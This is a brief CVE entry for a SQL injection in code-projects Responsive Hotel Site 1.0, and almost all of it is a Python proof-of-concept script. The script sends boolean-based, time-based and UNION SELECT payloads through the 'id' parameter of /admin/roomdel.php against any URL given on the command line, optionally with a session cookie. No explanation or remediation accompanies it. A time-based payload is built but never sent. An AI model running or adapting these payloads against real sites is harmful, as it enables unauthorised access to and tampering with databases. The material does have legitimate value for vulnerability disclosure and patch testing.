CVE-2025-12913: code-projects Responsive Hotel Site 1.0 SQL注入漏洞

# CVE-2025-12913 SQL Injection PoC for Responsive Hotel Site 1.0 # Target: /admin/roomdel.php # Vulnerability: SQL Injection via 'id' parameter import requests import sys def exploit_sql_injection(target_url, cookie=None): """ SQL Injection PoC for CVE-2025-12913 Demonstrates blind SQL injection on id parameter """ # Normal request (should succeed if valid id) normal_payload = "1" # Boolean-based blind SQL injection # Extract database version using substring exploit_payload = "1' AND 1=1 -- " headers = { 'User-Agent': 'Mozilla/5.0', 'Accept': 'text/html' } if cookie: headers['Cookie'] = cookie # Test with normal ID normal_url = f"{target_url}/admin/roomdel.php?id={normal_payload}" response1 = requests.get(normal_url, headers=headers) # Test with SQL injection payload exploit_url = f"{target_url}/admin/roomdel.php?id={exploit_payload}" response2 = requests.get(exploit_url, headers=headers) # Time-based blind SQL injection example time_payload = "1' AND SLEEP(5) -- " time_url = f"{target_url}/admin/roomdel.php?id={time_payload}" print(f"[*] Target: {target_url}") print(f"[*] Testing normal request: {normal_url}") print(f"[*] Status: {response1.status_code}") print(f"[*] Testing injection: {exploit_url}") print(f"[*] Status: {response2.status_code}") # Union-based injection to extract data union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8 -- " union_url = f"{target_url}/admin/roomdel.php?id={union_payload}" response3 = requests.get(union_url, headers=headers) print(f"[*] Testing union injection: {union_url}") print(f"[*] Status: {response3.status_code}") return { 'normal_status': response1.status_code, 'injection_status': response2.status_code, 'union_status': response3.status_code } if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12913-poc.py <target_url>") print("Example: python cve-2025-12913-poc.py http://localhost/hotel") sys.exit(1) target = sys.argv[1] exploit_sql_injection(target)